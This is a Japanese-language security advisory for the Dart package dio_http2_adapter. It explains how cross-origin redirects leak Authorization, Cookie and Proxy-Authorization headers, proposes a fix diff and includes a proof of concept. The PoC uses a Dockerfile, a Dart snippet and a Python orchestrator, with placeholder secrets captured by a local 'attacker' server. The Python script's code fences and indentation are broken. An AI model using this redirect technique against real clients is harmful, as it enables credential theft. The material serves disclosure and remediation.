Dio: `dio_http2_adapter`において、クロスオリジンリダイレクトが機密性の高いリクエストヘッダーを漏洩する

### 概要

`dio_http2_adapter`は、リダイレクト先が異なるオリジンである場合、機密性の高いリクエストヘッダーを削除せずに、HTTPの`Location`リダイレクトに従います。 攻撃者が、任意のオリジンサーバーにクロスオリジンの`302`リダイレクトを返すように仕向けた場合、被害者の`Authorization`、`Cookie`、および`Proxy-Authorization`ヘッダーがそのまま送信されます。 この脆弱性は、`followRedirects`がデフォルトで有効になっていること、脆弱性を悪用するために認証が不要であること、および機密性への影響が大きいことから、CVSS v3.1の基本スコアは**7.5(高)**です。

### 詳細

`Dio`が`Http2Adapter`を使用するように構成されている場合、アダプターの内部メソッド`_fetch`は、`options.headers`のすべてのエントリを無条件にコピーしてHTTP/2リクエストヘッダーを構築します。

```dart
// plugins/http2_adapter/lib/src/http2_adapter.dart:111
headers.addAll(
options.headers.entries.map((entry) {
...
return Header.ascii(entry.key.toLowerCase(), v);
}).toList(),
);
```

`3xx`応答を受け取ると、アダプターは`Location`ヘッダーを読み取り、リダイレクト先のURIを解決します。

```dart
// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263
final url = responseHeaders.value('location');
final uri = Uri.parse(url ?? '');
final String path = resolveRedirectUri(options.uri, uri).toString();
return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);
```

`options.copyWith`は、明示的な`headers`引数なしで呼び出されるため、`dio/lib/src/options.dart:629`では、元のヘッダーマップ全体が`headers ?? Map.from(this.headers)`によって保持されます。 `resolveRedirectUri` (`http2_adapter.dart:290`)は、攻撃者が制御できるクロスオリジンのURIを、オリジンの比較なしで返します。 この組み合わせにより、リダイレクトが発生するたびに、元の機密性の高いヘッダーの完全なセット(`Authorization`、`Cookie`、および`Proxy-Authorization`など)が、サニタイズなしで新しい認証先に転送されます。

**データフロー(送信元 → 宛先):**

1. `dio/lib/src/dio_mixin.dart:383` — パブリックな `Dio.request<T>(String path, ...)` のエントリーポイント。
2. `dio/lib/src/options.dart:331` — 基本ヘッダーと、リクエストごとのヘッダーが `RequestOptions` に統合される。
3. `dio/lib/src/dio_mixin.dart:596` — `httpClientAdapter.fetch(reqOpt, ...)` が `Http2Adapter` に引き継がれる。
4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` — `Location` ヘッダーがネットワークからの応答(攻撃者によって制御される送信元)から読み込まれる。
5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` — リダイレクト先のURIが解決されるが、クロスオリジンチェックは行われない。
6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` — `options.copyWith(path: path, ...)` が呼び出されるが、`headers` のオーバーライドは行われない。
7. `dio/lib/src/options.dart:629` — `copyWith` は `Map.from(this.headers)` をそのまま保持する。つまり、すべての機密ヘッダーが保持される。
8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` — 保持されたヘッダーが、そのままクロスオリジンのHTTP/2リクエスト(宛先)に送信される。

**推奨される修正** — クロスオリジンのリダイレクトに従う前に、機密ヘッダーを削除する。

```diff
--- a/plugins/http2_adapter/lib/src/http2_adapter.dart
+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart
+ static const _sensitiveRedirectHeaders = {
+ 'authorization',
+ 'cookie',
+ 'proxy-authorization',
+ };
+
- final String path = resolveRedirectUri(options.uri, uri).toString();
+ final redirectUri = resolveRedirectUri(options.uri, uri);
+ final redirectOptions = options.copyWith(
+ path: redirectUri.toString(),
+ maxRedirects: --options.maxRedirects,
+ );
+ if (!_sameOrigin(options.uri, redirectUri)) {
+ redirectOptions.headers.removeWhere(
+ (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()),
+ );
+ }
return _fetch(
- options.copyWith(path: path, maxRedirects: --options.maxRedirects),
+ redirectOptions,
list != null ? Stream.fromIterable(list) : null,
cancelFuture,
redirects,
);
+
+ static bool _sameOrigin(Uri a, Uri b) =>
+ a.scheme == b.scheme && a.host == b.host && a.port == b.port;
```

### PoC

以下の手順は、隔離されたDockerコンテナ内の2つのローカルHTTP/2クリアテキスト(h2c)サーバーを使用して、脆弱性を再現します(外部ネットワークは不要)。

**前提条件:**

- Dockerがインストールされており、アクセス可能であること。
- リポジトリが、ビルドコンテキストとして使用されるパスにチェックアウトされていること。

**ビルドと実行:**

```bash
# リポジトリのルートディレクトリ(github_web_81_cfug__dio/)から
docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .
docker run --rm --network none dio-vuln-001:poc
```

**コンテナの動作:**

1. `127.0.0.1:18081`で、すぐに`302 Location: http://127.0.0.1:18082/capture`を返す、*オリジン* h2cサーバーを開始します。
2. `127.0.0.1:18082`で、受信したすべてのヘッダーを記録する、*攻撃者* h2cサーバーを開始します。
3. 以下のDartエクスプロイトを実行します。

```dart
final dio = Dio()
..httpClientAdapter = Http2Adapter(ConnectionManager());
await dio.get(
'http://127.0.0.1:18081/start',
options: Options(headers: {
'Authorization': 'Bearer SECRET_TOKEN_12345',
'Cookie': 'sid=SECRET_SESSION_ABC',
'x-secret': 'internal-secret-value',
}),
);
```

**期待される出力(脆弱性の確認):**

```
RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
LEAKED_COOKIE=sid=SECRET_SESSION_ABC

[攻撃者] 受信したヘッダー:
[攻撃者] authorization: Bearer SECRET_TOKEN_12345
[攻撃者] cookie: sid=SECRET_SESSION_ABC
[攻撃者] x-secret: internal-secret-value
```

攻撃者のサーバーが `127.0.0.1:18082` で、上記の3つの機密ヘッダーすべてを受信しており、`Http2Adapter` がクロスオリジンリダイレクトにおいて、これらのヘッダーをそのまま転送していることが示されています。

### 影響

これは、**機密情報の漏洩**の脆弱性です。 以下の条件を満たすアプリケーションは影響を受けます。

1. `Dio` を `Http2Adapter` と組み合わせて使用している。
2. `Authorization`、`Cookie`、または `Proxy-Authorization` ヘッダーを含むリクエストを送信している。

`followRedirects` がデフォルトで `true` であり、`maxRedirects` がデフォルトで `5` であるため、この問題を発生させるために追加の設定は必要ありません。

攻撃者が、被害アプリケーションが接続するHTTPサーバーを制御している、または侵害できる場合、攻撃者は `302` リダイレクトを攻撃者が所有するサーバーに送信し、被害者のベアータoken、セッションクッキー、またはプロキシ認証情報を取得することができます。 この攻撃には、事前に認証を行う必要はなく、ネットワーク上で比較的容易に実行できます。 盗まれた認証情報は、被害者を装って、元のサービスまたは同じトークンを受け入れる他のサービスに対して使用される可能性があります。

影響を受けるのは、サーバーサイドのDart/Flutterアプリケーションと、`dio_http2_adapter` を使用して認証されたHTTP/2リクエストを行うCLIツールです。

### 再現に必要なファイル

#### `Dockerfile`

```dockerfile
# VULN-001 動的再現のための Dockerfile
# 脆弱性: dio_http2_adapter におけるクロスオリジンリダイレクトによる機密性の高いリクエストヘッダーの漏洩
#
# ビルドコンテキスト: 親ディレクトリ (github_web_81_cfug__dio/)
# docker build -f vuln-001/Dockerfile -t dio-vuln-001 .
#
# このイメージで行うこと:
# 1. Dart SDK (stable) をインストール
# 2. 脆弱なリポジトリのソースコード (dio + dio_http2_adapter) をコピー
# 3. ローカルのソースコードへのパス依存関係を使用して、PoC (Proof of Concept) Dart プロジェクトを作成
# 4. pub パッケージを解決
# 5. コンテナの実行時: 脆弱性を検証するためのスクリプトを実行。このスクリプトは、2つのローカルの
# h2c サーバー (オリジンと攻撃者) を起動し、リダイレクトされたリクエストを送信することで、
# Authorization/Cookie ヘッダーがクロスオリジン先へ転送されることを証明する。

FROM dart:stable AS builder

# ── リポジトリのソースコード ──────────────────────────────────────────────────────────
# イメージサイズを小さくするために、必要なパッケージのみをコピー
COPY repo/dio/ /repo/dio/
COPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/

# ── PoC プロジェクトのセットアップ ──────────────────────────────────────────────────────────
WORKDIR /poc

COPY vuln-001/poc_pubspec.yaml pubspec.yaml
COPY vuln-001/poc_exploit.dart lib/main.dart

# 依存関係を解決 (http2, meta などのパッケージを pub.dev から取得するため、ネットワークアクセスが必要)
RUN dart pub get

# ── 実行時イメージ (シンプルにするため、builder を再利用) ────────────────────────────
FROM builder AS final

WORKDIR /poc

# 脆弱性を検証するためのスクリプトを実行。終了コード:
# 0 = VULN_CONFIRMED (攻撃者に authorization ヘッダーが漏洩)
# 1 = NOT_VULNERABLE (ヘッダーが削除されたか、リダイレクトが追跡されなかった)
# 2 = FAIL (攻撃者のサーバーがリクエストを受信しなかった — 環境の問題)
CMD ["dart", "run", "lib/main.dart"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
VULN-001 の PoC オーケストレーター:
dio_http2_adapter におけるクロスオリジンリダイレクトによる機密性の高いリクエストヘッダーの漏洩。

使用方法:
python3 poc.py [--image-tag TAG]
```

機能:
1. 脆弱なdio_http2_adapterのソースコードと、Dartで記述されたエクスプロイトスクリプト(poc_exploit.dart)を含むDockerイメージを構築します。
2. コンテナを実行し、以下の処理を行います。
a. コンテナ内で、2つのローカルh2c(HTTP/2クリアテキスト)サーバーを起動します。
- Origin(127.0.0.1:18081):302リダイレクトを攻撃者へ送信します。
- Attacker(127.0.0.1:18082):受信したすべてのヘッダーを記録します。
b. dio + Http2Adapterを使用して、AuthorizationとCookieヘッダーとともにhttp://origin/startにGETリクエストを送信します。
c. 302リダイレクトに従い、攻撃者サーバーへリクエストを送信します。
d. 攻撃者がAuthorizationヘッダーをキャプチャできたかどうかを報告します。
3. phase2_result.jsonファイルに、構造化された結果を書き込みます。

終了コード:
0 PASS — 脆弱性が確認されました
1 FAIL — 再現できませんでした
2 ERROR — ビルドまたは実行環境の問題

"""

import argparse
import json
import os
import subprocess
import sys
import textwrap
from pathlib import Path

# ── パス ──────────────────────────────────────────────────────────────────────
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT = SCRIPT_DIR.parent # github_web_81_cfug__dio/
RESULT_FILE = SCRIPT_DIR / "phase2_result.json"

BUILD_CONTEXT = str(REPO_ROOT)
DOCKERFILE = str(SCRIPT_DIR / "Dockerfile")
DEFAULT_IMAGE_TAG = "dio-vuln-001:poc"

def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
"""サブプロセスコマンドを実行し、標準出力/標準エラー出力をターミナルにストリーミングします。"""
print(f"[+] {' '.join(cmd)}", flush=True)
return subprocess.run(cmd, **kwargs)

def build_image(tag: str) -> bool:
"""Dockerイメージを構築します。成功した場合にTrueを返します。"""
result = run(
[
"docker", "build",
"--file", DOCKERFILE,
"--tag", tag,
BUILD_CONTEXT,
],
check=False,
)
if result.returncode != 0:
print(f"[!] Dockerのビルドに失敗しました (終了コード: {result.returncode})", file=sys.stderr)
return False
return True

```
def run_container(tag: str, timeout_sec: int = 120) -> tuple[int, str, str]:
"""
コンテナを実行し、その出力を取得します。

戻り値:
(returncode, stdout, stderr)
"""
result = run(
[
"docker", "run",
"--rm",
"--network", "none", # 外部ネットワークを使用せず、ローカル接続のみ
tag,
],
capture_output=True,
text=True,
timeout=timeout_sec,
check=False,
)
return result.returncode, result.stdout, result.stderr

def parse_output(stdout: str, stderr: str) -> dict:
"""
エクスプロイトの標準出力から、構造化されたkey=value形式の行を解析します。

Dartエクスプロイトは、以下のような行を書き込みます。
RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
EVIDENCE=...
"""
parsed = {}
for line in stdout.splitlines():
if "=" in line:
key, _, val = line.partition("=")
parsed[key.strip()] = val.strip()
return parsed

def write_result(data: dict) -> None:
with open(RESULT_FILE, "w", encoding="utf-8") as f:
json.dump(data, f, ensure_ascii=False, indent=2)
print(f"\n[+] 結果を {RESULT_FILE} に書き込みました。")

def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
"--image-tag", default=DEFAULT_IMAGE_TAG,
help=f"Dockerイメージのタグ (デフォルト: {DEFAULT_IMAGE_TAG})",
)
args = parser.parse_args()
tag = args.image_tag

build_cmd = (
f"docker build -f vuln-001/Dockerfile -t {tag} ."
)
run_cmd = (
f"docker run --rm --network none {tag}"
)
poc_cmd = (
f"cd {REPO_ROOT} && {build_cmd} && {run_cmd}"
)
```

# ── ステップ1:ビルド ──────────────────────────────────────────────────────────
print("=" * 70)
print("ステップ1:Dockerイメージのビルド")
print("=" * 70)
if not build_image(tag):
result_data = {
"passed": False,
"verdict": "FAIL",
"reason": "Dockerイメージのビルドに失敗しました — dart pub getまたはソースのコピーエラー",
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": "docker buildの終了コードがゼロでない",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
return 2

# ── ステップ2:エクスプロイトの実行 ────────────────────────────────────────────────────
print("\n" + "=" * 70)
print("ステップ2:エクスプロイトコンテナの実行")
print("=" * 70)

try:
returncode, stdout, stderr = run_container(tag)
except subprocess.TimeoutExpired:
result_data = {
"passed": False,
"verdict": "INCOMPLETE",
"reason": "コンテナの実行が120秒以内に完了せず、タイムアウトにより終了しました",
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": "subprocess.TimeoutExpired(120秒後)",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
return 2

print("\n── コンテナの標準出力 ─────────────────────────────────────────────")
print(stdout or "(空)")
print("── コンテナの標準エラー出力 ─────────────────────────────────────────────")
print(stderr or "(空)")
print("── 終了コード:", returncode, "─────────────────────────────────────")

# ──ステップ3:結果の評価───────────────────────────────────────────────
parsed = parse_output(stdout, stderr)
exploit_result = parsed.get("RESULT", "")
leaked_header = parsed.get("LEAKED_HEADER", "")
evidence_line = parsed.get("EVIDENCE", "")

if returncode == 0 and exploit_result == "VULN_CONFIRMED" and leaked_header:
# stdoutとstderrの一部を組み合わせて、証拠フィールドを作成
stderr_snippet = "\n".join(
line for line in stderr.splitlines()
if any(tag in line for tag in ("[ATTACKER]", "[RESULT]", "[EVIDENCE]"))
)[:1500]
evidence = (
f"stdout: {stdout.strip()}\n\n"
f"stderr (関連部分):\n{stderr_snippet}"
)
result_data = {
"passed": True,
"verdict": "PASS",
"reason": (
"dio_http2_adapterは、クロスオリジンの302リダイレクト時に、Authorizationヘッダーをそのまま攻撃者のサーバーに転送しました。攻撃者のh2cサーバー(127.0.0.1:18082)が、'{leaked_header}'を受信しました。"
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": evidence,
"artifacts": [
"Dockerfile",
"poc_exploit.dart",
"poc_pubspec.yaml",
"poc.py",
],
}
write_result(result_data)
print("\n[PASS] VULN-001が正常に再現されました。")
return 0

elif returncode == 1 or exploit_result == "NOT_VULNERABLE":
result_data = {
"passed": False,
"verdict": "FAIL",
"reason": (
"コンテナの実行は成功しましたが、攻撃者側のサーバーが Authorization ヘッダーを受信しませんでした。この環境で脆弱性を再現できませんでした。解析結果: {parsed}"
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": stdout + "\n" + stderr,
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
print("\n[FAIL] 脆弱性を再現できませんでした。")
return 1

else:
# returncode == 2 またはその他の予期しないエラー
result_data = {
"passed": False,
"verdict": "INCOMPLETE",
"reason": (
f"コンテナの実行に失敗しました、または予期しないコード {returncode} で終了しました。 "
"原因: h2c サーバーの起動エラー、ネットワークの問題、または Dart ランタイム "
"エラー。stderr のログを確認し、--network none オプションなしで再試行してください。"
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": f"exit={returncode}\nstdout={stdout}\nstderr={stderr}",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
print(f"\n[INCOMPLETE] コンテナがコード {returncode} で終了しました。")
return 2

if __name__ == "__main__":
sys.exit(main())

影響を受けるパッケージ:
- pub dio_http2_adapter: 影響あり >= 1.0.0, <= 2.7.1、2.8.0 で修正済み